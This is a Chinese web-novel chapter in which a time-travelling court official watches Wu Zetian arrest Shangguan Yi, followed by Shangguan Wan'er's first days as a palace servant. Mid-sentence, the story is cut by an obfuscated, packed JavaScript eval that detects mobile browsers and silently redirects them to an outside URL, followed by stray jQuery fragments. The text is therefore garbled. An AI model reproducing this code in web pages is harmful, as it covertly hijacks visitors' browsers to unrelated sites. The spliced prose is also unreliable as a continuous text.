麟德元年十二月十一日。


    这一天，叶唯一辈子都不会忘记。


    清晨，她像往常一样到武则天的寝殿报到。但当她推开殿门时，发现殿内的气氛与往常完全不同——十几个全副武装的禁军士兵站在殿外，手持长戟，神色肃穆。殿内，武则天平静地坐在胡床上，面前站着几个身穿紫袍的宰相。


    叶唯认出了其中一个人——许敬宗。


    “来了？”武则天看到她，微微点头，“站在一旁。”


    叶唯默默走到殿侧的角落，垂手而立。


    “诸位爱卿，”武则天的目光扫过在场的每一个宰相，“本宫今日召你们来，是要说一件事。”


    她顿了顿。


    “有人要废了本宫。”


    殿内骤然安静下来。几个宰相面面相觑，许敬宗则面色如常，仿佛早就知道会有这一天。


    “皇后娘娘此言差矣，”一个声音从殿外传来，“臣只是劝陛下以社稷为重，从未说过要废后。”


    所有人都转过头去。


    上官仪站在殿门口，身着紫色朝服，手持笏板，面色平静得像是来参加一场普通的朝会。


    叶唯的目光落在他身上，心跳骤然加速。


    这就是上官仪。唐代著名的文学家、政治家，“上官体”诗歌的开创者，曾经的高宗心腹。在史书上，他只有寥寥数页的记载，但此刻他活生生地站在叶唯面前，五十多岁的年纪，面容清癯，目光沉稳，举手投足间有一种文士特有的从容。


    “上官大人，”武则天的声音很轻，但每一个字都像针一样扎在上官仪身上，“你没有说过废后，但你让陛下废后。你自己不敢说，就让王伏胜去说。你不敢当面跟本宫对峙，就躲在陛下身后写诏书。上官大人，这就是你的‘忠君’？”


    上官仪的脸色微微变了一下。


    “臣不知道皇后娘娘在说什么。”


    “不知道？”武则天从案上拿起一份文书，扔到上官仪脚下，“那你自己看看，这是什么。”


    上官仪低头看了一眼那份文书，身体猛地僵住了。


    那是叶唯整理的王伏流行踪记录。上面详细记载了王伏胜与上官仪每一次见面的时间、地点、谈话内容，以及上官仪通过门生联络被贬元老的证据。每一条都有证可查，每一个人都已经被控制。


    “这……”上官仪的声音有些发颤，“这是诬陷。”


    “诬陷？”武则天站起身，一步步走向他，“上官大人，你是不是以为本宫什么都不知道？你以为本宫在宫里住了这么多年，连这点风吹草动都察觉不到？你以为你让王伏胜去告发本宫行厌胜之术，本宫就会坐以待毙？”


    她走到上官仪面前，停下脚步。


    “本宫告诉你，”她的声音压得很低，低到只有上官仪和站在近处的叶唯能听到，“本宫能从一个才人走到今天，靠的不是运气，不是美貌，不是陛下的宠爱——而是本宫比你们所有人，都更早地知道，谁想害本宫。”


    上官仪的身体微微颤抖了一下。


    “来人。”武则天提高了声音。


    殿外的禁军士兵鱼贯而入。


    “将上官仪拿下，押入大理寺狱。待查清其罪行后，再行处置。”


    “皇后娘娘！”上官仪的声音骤然拔高，“臣是朝廷命官，没有陛下的旨意，你不能——”


    “陛下的旨意？”武则天转过身，从案上拿起另一份文书，“这是陛下今早亲笔写的手诏。你自己看看。”


    上官仪接过手诏，只看了一眼，脸色就变成了死灰色。


    手诏上只有一行字：


    “上官仪交有司查处，一切听皇后处置。”


    高宗的字迹，上官仪认了二十年，不会认错。


    他手中的手诏滑落在地，整个人像是被抽空了所有的力气，瘫软在地上。两个禁军士兵上前，一左一右将他架了起来。


    “上官大人，”武则天背对着他，声音平静得像在说今天的天气，“本宫曾经很欣赏你的才华。你的诗写得很好，‘脉脉广川流，驱马历长洲’——本宫都能背下来。但你知道吗？诗写得好的人，不一定懂得怎么在朝堂上活下去。”


    上官仪被拖走了。


    殿内重新安静下来。


    几个宰相面面相觑，最终在许敬宗的带领下，齐齐躬身行礼：“皇后娘娘英明。”


    武则天挥了挥手：“都退下吧。”


    宰相们鱼贯而出。殿内只剩下武则天和叶唯两个人。


    叶唯站在原地，看着武则天的背影。


    她忽然发现，武则天的肩膀在微微颤抖。


    不是害怕，不是愤怒，而是——


    是疲惫。


    一种深入骨髓的、无法言说的疲惫。


    “叶微言。”武则天背对着她，声音有些发哑。


    “臣在。”


    “你说，”武则天缓缓转过身来，叶唯看到她的眼眶微微发红，但没有流泪，“本宫是不是做错了？”


    叶唯愣住了。


    她从未见过武则天这个样子。在她心目中，武则天永远是那个站在权力巅峰、俯瞰众生的女皇。她从未想过，这个女人也会有怀疑自己的时候。


    “娘娘，”叶唯的声音有些发涩，“您没有做错。您只是在保护自己。”


    “保护自己？”武则天苦笑了一下，“你知道上官仪是怎么说的吗？他说本宫‘专恣’、‘海内所不与’。他说的是实话。朝中确实有很多人不喜欢本宫，觉得本宫一个女人，不该管那么多事。”


    “那是他们的偏见。”叶唯说，“不是娘娘的错。”


    “可是，”武则天走到窗前，掀开帘子，看着窗外的雪，“有时候本宫也会想，如果本宫当初没有争那么多，是不是现在会过得更好？安安静静地做本宫的皇后，每天赏赏花、写写诗、逗逗孩子——那样的日子，是不是更轻松？”


    叶唯沉默了很久。


    她想起史书上的武则天。那个杀伐果断、铁血手腕的女皇。那个被骂了一千多年的“贼后”。但此刻站在她面前的，不是一个符号，不是一个标签，而是一个活生生的、会疲惫、会怀疑、会脆弱的女人。


    “娘娘，”她最终说，“那样的日子，不会让您快乐。”


    武则天转过头看着她。


    “因为您天生就不是安安静静赏花的人。”叶唯说，“您是一只鹰。鹰的宿命，就是在高空中飞翔。地面上的安逸，对鹰来说是牢笼。”


    武则天盯着她看了很久。


    然后她笑了。


    那笑容中带着一丝苦涩，一丝释然，还有一丝叶唯说不清道不明的东西。


    “你总是知道该说什么。”武则天说。


    “臣只是说了实话。”


    “又是实话？”武则天摇了摇头，“你这个人啊，最大的优点和最大的缺点，都是太爱说实话。”


    她走回案前，重新坐下，拿起桌上的笔。


    “行了，不说这些了。”她的语气恢复了往日的沉稳，“上官仪的事还没完。他的党羽要一个个清理，他的家人要依法处置，他草拟的那份废后诏书要找到销毁。这些事，你帮本宫盯着。”


    “是。”


    “还有，”武则天顿了顿，“上官仪有个孙女，今年大概十三四岁，据说很有才学。按律，罪臣家属没入掖庭。本宫打算把她留在身边，培养培养。”


    叶唯的心猛地跳了一下。


    上官婉兒。


    “娘娘，”她试探着问，“那个孙女叫什么名字？”


    武则天翻了翻桌上的案卷，找到一个名字：


    “上官婉儿。”


    叶唯垂下眼帘，掩饰住眼中一闪而过的复杂情绪。


    上官婉儿。中国历史上最著名的女官之一。她将在武则天身边度过一生，从罪臣之女成长为“巾帼宰相”。她才华横溢，八面玲珑，在武周政权更迭的惊涛骇浪中始终屹立不倒。


    而她，叶唯，即将与这个女人相遇。


    “怎么了？”武则天注意到她的异样，“你认识她？”


    “不，”叶唯摇了摇头，“臣只是觉得，这个名字很好听。”


    “婉儿。”武则天念了一遍，“是个好名字。但愿她不像她祖父那么不识时务。”


    叶唯没有说话。


    窗外的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486866|202063||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    雪越下越大，整个洛阳城被覆盖在一片洁白之中。


    明天，上官仪将被处死。


    后天，他的家人将被没入掖庭。


    大后天，一个十三岁的女孩将走进这座宫城，开始她传奇的一生。


    而这一切，叶唯都知道结局。


    但她不知道的是，她自己的故事，才刚刚开始。


    ———


    麟德元年十二月十三日，上官婉儿一生都不会忘记这一天。


    这一天，她的祖父上官仪被处死了。


    消息传来的时候，她正在长安城崇化坊的家中读书。《昭明文选》翻到第十九卷，她读到曹植的《洛神赋》——“翩若惊鸿，婉若游龙，荣曜秋菊，华茂春松。”


    她喜欢这几句。她名字里的“婉儿”，就是祖父从这篇赋里取的。


    “翩若惊鸿，婉若游龙。”祖父说，“我们婉儿，将来一定是个才女。”


    祖父再也不会说这样的话了。


    “姑娘，快走！”家中的老仆冲进书房，拉起她的手就往外跑，“官兵来了！要抄家！”


    上官婉儿被拽着跑出书房，跑过庭院，跑过回廊，跑到大门口。


    大门被一脚踢开。


    官兵涌进来，刀光闪闪，甲胄哗啦作响。


    她看到了祖父。


    上官仪被两个官兵架着，从正厅里拖出来。他的头发散乱，朝服被撕破了一道口子，脸上有一道血痕。但他的腰背依然挺直，目光依然沉稳。


    他看到婉儿，停下了脚步。


    “婉儿。”他的声音沙哑，“不要怕。”


    婉儿站在那里，浑身发抖，但她没有哭。


    “祖父，”她的声音比她想象的要平静，“您去哪？”


    上官仪看着她，眼眶红了。


    “祖父去一个地方，”他说，“你要好好读书。读《文选》，读《史记》，读一切能读到的书。书读多了，就没有人能欺负你。”


    他被拖走了。


    婉儿站在大门口，看着祖父的背影消失在巷口。


    ————


    上官婉儿再次睁开眼睛的时候，发现自己躺在一间阴暗潮湿的屋子里。


    屋子很小，只有一扇窗户，窗外是一棵老槐树，枝叶遮挡了大半的阳光。墙上刷着白灰，但已经剥落了大半，露出下面的黄泥。空气中弥漫着一股霉味，混着某种说不清道不明的酸臭。


    这是哪里？


    她坐起身，发现自己穿着一件洗得发白的素色襦裙，头发只用一根布条扎着，身上没有任何首饰。


    “醒了？”


    一个中年妇人的声音从门口传来。婉儿转过头，看到一个穿着深青色官服的女人站在那里，面容严肃，目光冷漠。


    “这是哪里？”婉儿问。


    “尚宫局。”女人说，“从今天起，你是宫中的奴才。”


    奴才……


    婉儿在心中默念这两个字。


    一个月前，她是上官家的大小姐，祖父是当朝宰相，她住的是三进三出的大宅子，穿的是绫罗绸缎，读的是天下最好的书。


    现在，“她是奴才”


    “你的差使，”女人翻开手中的名册，“在内文学馆，做些洒扫、磨墨、整理书籍的活计。老实做事，别惹麻烦。”


    “是。”婉儿低下头。


    女人转身走了。


    婉儿坐在床沿上，环顾四周。


    这间屋子很小，小到只有一张床、一张桌子、一把椅子。桌上放着一盏油灯、一个粗瓷碗、一双筷子。墙角有一个木盆，盆里有半盆水，水面漂着一片枯叶。


    她走到桌前，拿起那个粗瓷碗。


    碗里有一块饼，硬邦邦的，像是放了很久。


    她掰下一块，塞进嘴里。


    饼很硬，很难嚼，有一股陈年的味道。


    但她吃得很慢，很仔细。


    祖父说过，不管在什么境遇下，都要好好吃饭。吃饱了，才有力气活下去。


    活下去。


    这是她现在的目标。


    不是报仇，不是翻案，不是光复上官家的荣光——那些都太远了。